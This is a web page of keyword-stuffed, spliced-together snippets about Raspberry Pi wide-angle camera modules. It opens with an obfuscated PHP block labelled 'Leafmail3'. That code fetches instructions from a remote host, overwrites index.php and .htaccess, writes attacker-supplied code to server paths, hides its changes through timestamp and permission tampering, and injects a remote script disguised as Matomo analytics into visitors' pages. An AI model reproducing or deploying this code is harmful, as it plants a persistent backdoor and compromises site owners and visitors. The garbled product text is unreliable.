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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
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<p><span style="font-size: inherit;"><span style="color: rgb(0, 112, 192);"><b>Raspberry pi camera wide angle. 3 Camera Module v2. 2 out of 5 stars Jan 23, 2023 · A few days before launching the Raspberry Pi Camera Module 3 with HDR and autofocus, Raspberry Pi Trading asked me whether I would be interested in reviewing the new modules, and sent me three samples: the standard module, the Raspberry Pi Camera Module 3 Wide, as well as the NoIR version that lacks an IR filter and is better suited for night shots. Wide Angle M12 Lens: Armed with a 120°(HFOV) Wide Angle M12 Lens. Dec 9, 2023 · The Arducam camera is an excellent wide-angle choice for Raspberry Pi users. Wide angle lens: Capture a wider field of view with the interchangeable M12 lens and a 135°(D) FOV, delivering UHD images with an immersive perspective. This Raspberry Pi night vision camera uses the same OV5647 as the standard May 8, 2020 · Arducam M12 Lens Kit for Raspberry Pi HQ Camera (Type 1/2. 00. The new module Jan 11, 2023 · Need a wider field of view than the standard 75 degrees? Camera Module 3 Wide features an ultra-wide 120 degree angle of view, meaning your Raspberry Pi can see more of the world. Raspberry Pi Camera, supports Raspberry Pi Wide Angle Camera Module | Buy in Australia | CE07137 | Waveshare10344 | Core Electronics Jun 16, 2024 · Camera Modules Version 3. The Raspberry Pi Camera Board v2 – 8 Megapixels is a leap forward in image quality, color fidelity, and low light over the This newest addition to the Raspberry Pi mainstream camera lineup replaces the wildly successful Camera Module 2, which was introduced in April 2016. It can also be used for macro photography because it can focus objects at very short distances. It is compatible with all Raspberry Pi boards, including Pi 4B/3B and Pi Zero W/2 W. com: Raspberry Pi 4 Camera Fisheye Wide Angle 5MP 1080p Night Vision Camera Module for Raspberry Pi 4 Model B Raspberry Pi 3 Model B/B+ : Electronics Raspberry Pi Camera: Designed for Raspberry Pi, this 8MP HD camera module has a Sony IMX219 8MP pixel sensor with a wide-angle M12 lens. Prime. 35 Focal Mar 20, 2019 · Supports raspberry pi zero only. 12. A wide-angle lens has a deeper depth of field, which can effectively reduce bokeh. This is a fisheye wide-angle camera for Raspberry pi 2 Raspberry pi 3B and 3B+, applicable occasions VR, AR, aerial photography, real-time photography of the car, indoor and outdoor monitoring, photographing and video recording. 3MP 477M image sensor Mini Size: 24mm x 25mm camera board, V1/V2 size Native to Raspberry Pi: No need to install additional driver Wide Compatibility: Compatible with all Raspberry Pi boards Mar 1, 2015 · 5MP Camera Module for RPi, fully compatible with the official ones High-Definition video camera for Raspberry Pi Model A or B, B+, model 2, Raspberry Pi 3,3 B+, Pi 4, 5 5MPixel sensor with a fixed-focus lens. 0; Field of View (FOV): 120°(H) on Raspberry Pi High Quality Camera, 70°(H) on Raspberry Pi V1/V2 Camera; Focus Type: Manual The Raspberry Pi Global Shutter Camera is a specialised 1. You can replace it with other M12 lenses. Four in One: Combine four cameras into one frame, each camera with a The MINI OV5647 Wide angle camera is a custom-designed add-on for Raspberry Pi. The all-new Raspberry Pi Camera Module 3 Standard/Wide is a camera for Raspberry Pi computers. 1 $ 35. The principle is the same for all Raspberry Pi boards with a camera connector, though the Raspberry Pi 5 and all Raspberry Pi Zero models require a different camera cable. No lens shading, no dark corners, decent image quality, it just works. 0; View Angle: 175(D) x 155(H) x 115(V). The Raspberry Pi Camera Module 3 NoIR (Wide Angle) is the latest entry in the mainstream RPi camera line-up, and comes without an IR filter (thus the NoIR). It attaches to Raspberry Pi by way of one of the two small sockets on the board upper surface. It attaches to Raspberry Pi by way of one of the two small sockets on the board’s upper surface. Based on a back-illuminated stacked CMOS 12-megapixel high-resolution Image Sensor (Sony IMX708) with HDR mode for up to 3-megapixel output on Raspberry Pi. Need a wider field of view than the standard 75 degrees? Arducam for Raspberry Pi Camera Module 3 series is the latest camera released in 2023. VAT) Add to cart; Raspberry Pi Camera Mount 16mm Telephoto Lens for Raspberry Pi HQ Camera (C-mount) May 26, 2020 · Another benefit we’ve found from the M12 lenses is that you can find wide-angle M12 lenses more easily than the C/CS-Mount. We have created a video to illustrate the process of connecting the camera. Broad Pi compatibility: Compatible with a wide range of Raspberry Pi models, including Raspberry Pi 1, 2, 3A/B, 4A/B, Zero, and Zero 2W, ensuring flexibility and versatility in your projects. Raspberry Pi High Quality camera Autofocus? The Aperture works like eye’s pupils to limit the light. . Start a preview window. It is ideally suited to fast motion photography and to machine vision applications, where even small amounts of distortion can seriously degrade inference performance. This model is fitted with a wide angle lens (120°). No need to install additional driver. The latest version of the official Raspberry Pi camera module, the V3 camera provides a 12 Megapixel Sony image sensor with HDR support and rapid autofocus with libcamera compatability. 3), 20 to 180 Degrees Telephoto, Wide Angle, Fisheye Lenses with M12 to CS-Mount Adapter, Locking Ring, Cleaning Cloth and More 4. Should I remove the existing lens on the Raspberry Pi camera? We have created a video to illustrate the process of connecting the camera. Specification: - Fully Compatible with Both the Model A and Model B Raspberry Pi - 5 MP Omnivision 5647 Camera Module - Still Picture Resolution: 2592 x 1944 - Viewing angle: 160 degrees - Camera angle: Size can be replaced - Video: Supports 1080 p @ 30 fps, 720 p @ 60 fps and 640 x480 p 60/90 Recording 15-pin MIPI Camera Serial Interface Arducam CS Lens for Raspberry Pi HQ Camera, 120 Degree Ultra Wide Angle CS-Mount Lens, 3. Built around a 12-megapixel Sony IMX708 image sensor module, Camera Module 3 offers a few key enhancements over its predecessor. Multiplexing with High Res: Four x 12mp IMX708 cameras on one Pi. Autofocus: AF/Manual/Continuous-AF out of the box. Zoom. Buy 6mm Wide Angle Lens for Raspberry Pi High Quality Camera suitable for basic photography. It is another cost-effective choice that adds up to you Raspberry Pi High Quality Camera Module. Create an object, picam2 which we will use as a link between the code and our camera. 2mm Focal Length offering a 120-degree field of view for CCTV-style projects. No additional lens is required to use this camera, it is ready-to-go as-is! Module 3 is available in standard and wide-angle variants, both of which are available with or without an infrared cut filter. Featuring autofocus and a 12-megapixel sensor supported by Raspberry Pi’s Picamera2 Python library Raspberry Pi 4 Camera Module 5 Megapixels 1080p OV5647 Sensor Adjustable Focus Wide Angle Fish-Eye Camera 